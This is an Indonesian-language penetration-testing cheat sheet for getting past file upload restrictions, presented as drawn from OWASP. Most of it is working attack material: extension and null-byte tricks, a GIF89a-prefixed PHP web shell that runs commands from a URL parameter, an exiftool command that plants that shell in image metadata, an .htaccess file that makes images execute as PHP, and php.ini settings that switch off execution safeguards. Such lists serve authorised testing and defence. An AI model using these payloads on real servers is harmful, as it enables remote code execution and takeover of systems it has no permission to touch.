Bypass File Upload Restrictions
Menurut OWASP, berikut adalah beberapa teknik yang bisa digunakan oleh penetration tester untuk melewati berbagai proteksi file upload.
Teknik Bypass File Upload
- Mengubah parameter
Content-Typedalam request header menggunakan Burp Suite, ZAP, dll. - Menggunakan ekstensi eksekusi server seperti
file.php5,file.shtml,file.asa,file.cert. - Mengubah huruf kapital dalam nama file seperti
file.aSpataufile.PHp3. - Menambahkan spasi atau titik setelah nama file seperti
file.asp.ataufile.asp. . . . .. - Menambahkan titik koma sebelum ekstensi yang diperbolehkan, contoh:
file.asp;.jpg(bekerja di IIS 6 atau sebelumnya). - Menggunakan dua ekstensi, misalnya
file.php.jpg. - Menyisipkan karakter null:
file.asp%00.jpg. - Membuat file dengan ekstensi terlarang dengan tambahan atribut:
file.asp:.jpgataufile.asp::$data.
Bypassing Blacklists
Blacklisting adalah teknik di mana ekstensi tertentu dilarang dikirim ke server web. Berikut adalah beberapa cara untuk melewati blacklist:
| Type | Extensions |
|---|---|
| PHP | .php, .phtml, .php3, .php4, .php5, .php6, .pht, .pHp, .Php, .phP |
| ASP | .asp, .aspx |
| Perl | .pl, .pm, .cgi, .lib |
| JSP | .jsp, .jspx, .jsw, .jsv, .jspf |
| Coldfusion | .cfm, .cfml, .cfc, .dbm |
Bypassing Whitelists
Whitelisting adalah proteksi di mana hanya ekstensi tertentu yang diizinkan. Teknik bypass:
- Menggunakan ekstensi foto dengan kode shell, contoh:
payload.php.jpg. - Menambahkan karakter null di antara ekstensi:
payload.php%00.jpgataupayload.php\x00.jpg. - Menyisipkan header
GIF89a;di awal file agar dianggap sebagai gambar.
Contoh Payload
GIF89a;
<?php system($_GET['cmd']); ?>
Metode Lain
file.php%20file.php%0afile.php%00file.php%0d%0afile.php/file.php.\file.pHp5....
Bypass Menggunakan exiftool atau jhead
exiftool -Comment='<?php system($_REQUEST["cmd"]); ?>' test.png
jhead -purejpg test.jpg
jhead -ce test.jpg
<?php system($_REQUEST["cmd"]); ?>
Upload file .htaccess berikut ini didalam direktori yang sama dengan file gambar yang sudah kalian upload
<FilesMatch "\.(jpg|jpeg|png|gif)$">
SetHandler application/x-httpd-php
</FilesMatch>
Bypass Menggunakan php.ini
safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON